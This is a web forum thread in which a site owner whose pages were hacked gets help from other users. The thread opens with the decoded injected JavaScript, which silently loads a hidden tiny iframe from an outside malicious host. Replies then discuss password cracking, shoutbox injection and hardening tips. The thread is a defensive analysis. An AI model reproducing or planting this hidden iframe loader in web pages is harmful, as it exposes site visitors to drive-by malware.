if (document.getElementsByTagName('body')[0])
{ iframer(); }
else
{ document.write("<iframe src='http://pouzvtnh.cz.cc/count16.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer()
{ var f = document.createElement('iframe');
f.setAttribute('src','http://pouzvtnh.cz.cc/count16.php');
f.style.visibility='hidden';
f.style.position='absolute';
f.style.left='0';
f.style.top='0';
f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
edit: wow, Do Not load that pouzvth.cz.cc site. Will redirect you somewhere else
and even though I only downloaded the source in raw unexecutable text, AVG picked
it up. So it's a known threat.
Last edited by DracoMerest; 08-28-2011 at 10:09 AM.
Reason: additonal info
Best guess: someone figured out your linux password? I do not know how you access
your server remotely but obviously someone does.
Hacking is a tricky thing - sometimes the easiest method is the least obvious.
If you have a simple password and I can sniff out your password hash database (I don't
know what it is called really) and extracted the MD5 hash or which ever, I could either
brute force your password or use a rainbow table.
okay, i've changed all my passwords now - hopfully i wount forget them... (by the way i used a live disk that could not be infected by a rootkit, i think).
i'm going to contact my hoster too. hopefully he might help me...
okay, thanks for your great help, now i know, whats my problem.
Passwords may not have been your only problem area.
You have no indicated what is on your site.
If you allow visitors to post information through a shoutbox or mini forum then there is
always the possibility that someone was able to bypass any active content filters and
inject some malicious code which actively modified the files on your sever.
Having changed one security aspect: you password, wait. If it happens again look for a
solution elsewhere. Always make one change and test the result.
Passwords may not have been your only problem area.
You have no indicated what is on your site.
If you allow visitors to post information through a shoutbox or mini forum then there is
always the possibility that someone was able to bypass any active content filters and
inject some malicious code which actively modified the files on your sever.
Having changed one security aspect: you password, wait. If it happens again look for a
solution elsewhere. Always make one change and test the result.
I was planning to add a shoutbox to my site, and seeing this post, im now pondering if it is safe to add the shoutbox.
all page data should come thrue the index and the top of each file should be conditioned on being accessed by the index }else{ exit; } or kill;
the index should never be writable perm-0555, and sql is the worst idea for passwords. flatfile above the web-root instead.
after all, sql is simply a flatfile organizer.
all page data should come thrue the index and the top of each file should be conditioned on being accessed by the index }else{ exit; } or kill;
the index should never be writable perm-0555, and sql is the worst idea for passwords. flatfile above the web-root instead.
after all, sql is simply a flatfile organizer.
SQL is fine for passwords as long as a good hash with a salt is used. If the OP is on a shared host it might've been another poor consumer who was initially hacked in which case there really might not have been anything the OP could have done.
SQL is fine for passwords as long as a good hash with a salt is used. If the OP is on a shared host it might've been another poor consumer who was initially hacked in which case there really might not have been anything the OP could have done.
DracoMerest, you'd know where I could tell me decode this kind of code or that code is, that base64 is not a site where encode / decode or some script that allows me to do this kind of coding.
Most of these attacks (in the wild) are SQL-injections. Always sanitize your inputs. If you're running someone else's code, upgrade to the latest version. And complain to them rather loudly
dalecosp
"God doesn't play dice." --- Albert Einstein
"Perl is hardly a paragon of beautiful syntax." --- Weedpacket, on PHPBuilder
I wish I could de/encode this type of code
7-h,7-h,103-h,100-h,30-h,38-h,98-h,109-h,97-h,115-h,107-h,99-h,108-h,... in the first post you put and him decode, not is base64 coded or no I decoded
Search Google for 'encrypt JavaScript' and you'll find many results. but most
of them are useless because the decode script must be included within any
webpage that uses the encryption.
Bookmarks